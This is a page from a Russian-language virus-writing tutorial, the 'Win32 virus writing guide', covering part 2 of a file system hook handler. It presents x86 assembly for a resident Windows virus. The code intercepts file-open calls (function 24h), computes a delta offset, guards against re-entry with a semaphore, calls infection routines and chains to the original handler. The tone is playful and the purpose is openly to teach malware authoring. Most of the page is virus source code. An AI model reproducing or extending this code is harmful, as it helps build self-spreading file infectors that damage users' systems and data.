Путеводитель по написанию вирусов под Win32


Обpаботчик файловой системы: настоящее веселье!!! - часть 2


В нашем пеpвом виpусе нас будет интеpесовать только 24h, то есть откpытие файла. Система вызывает эту функция очень часто. Код настолько пpост, насколько вы можете это пpедставить :).

cmp dword ptr [ebp+0Ch],24h ; Check if system opening file jnz back2oldhandler ; If not, skip and return to old h.

Теперь начинается самая потеха. Когда мы узнаем, что система запрашивает открытие файла, настает наше время. Во-первых, мы должны проверить не обрабатываем ли мы наш собственный вызов... Это просто, добавьте небольшую переменную, которая решит вам эту проблему. Да, почти забыл, получите дельта-смещение :).

pushad call ring0_delta ; Получаем дельта-смещение ring0_delta: pop ebx sub ebx,offset ring0_delta

cmp byte ptr [ebx+semaphore],00h ; Не мы ли попытались совершить jne pushnback ; данный вызов?

inc byte ptr [ebx+semaphore] ; Избегаем обработки наших вызовов pushad call prepare_infection ; Мы рассмотрим это далее call infection_stuff popad dec byte ptr [ebx+semaphore] ; Прекращаем избегание :)

pushnback: popad

Теперь я продолжу рассказывать о собственно обработчике, после чего объясню, что я делаю в этих процедурах prepare_infection и infction_stuff. Сейчас мы выходим из функции обработки обращений системы. Сейчас мы должны написать процедуру, которая вызовет старый FileSystem hook. Как вы можете помнить (я надеюсь, что у вас нет склероза), мы поместили в стек все параметры, поэтому единственное, что нам нужно сделать сейчас - это загрузить в регистр старый адрес, а затем совершить по нему вызов. После этого мы добавляем к ESP 18h (чтобы получить в дальнейшем адрес возврата). Вот и все. Думаю, вы лучше это поймете, поглядев на код, поэтому вот он:

back2oldhandler: db 0B8h ; MOV EAX,imm32 opcode Old_Handler equ $-(offset virus_start) dd 00000000h ; здесь находится старый обработчик. call [eax] add esp,18h ; Фиксим стек (6*4) leave ; 6=кол-во. параметров. 4=размер dword ret ; Возврат




Начало  Назад  Вперед



Книжный магазин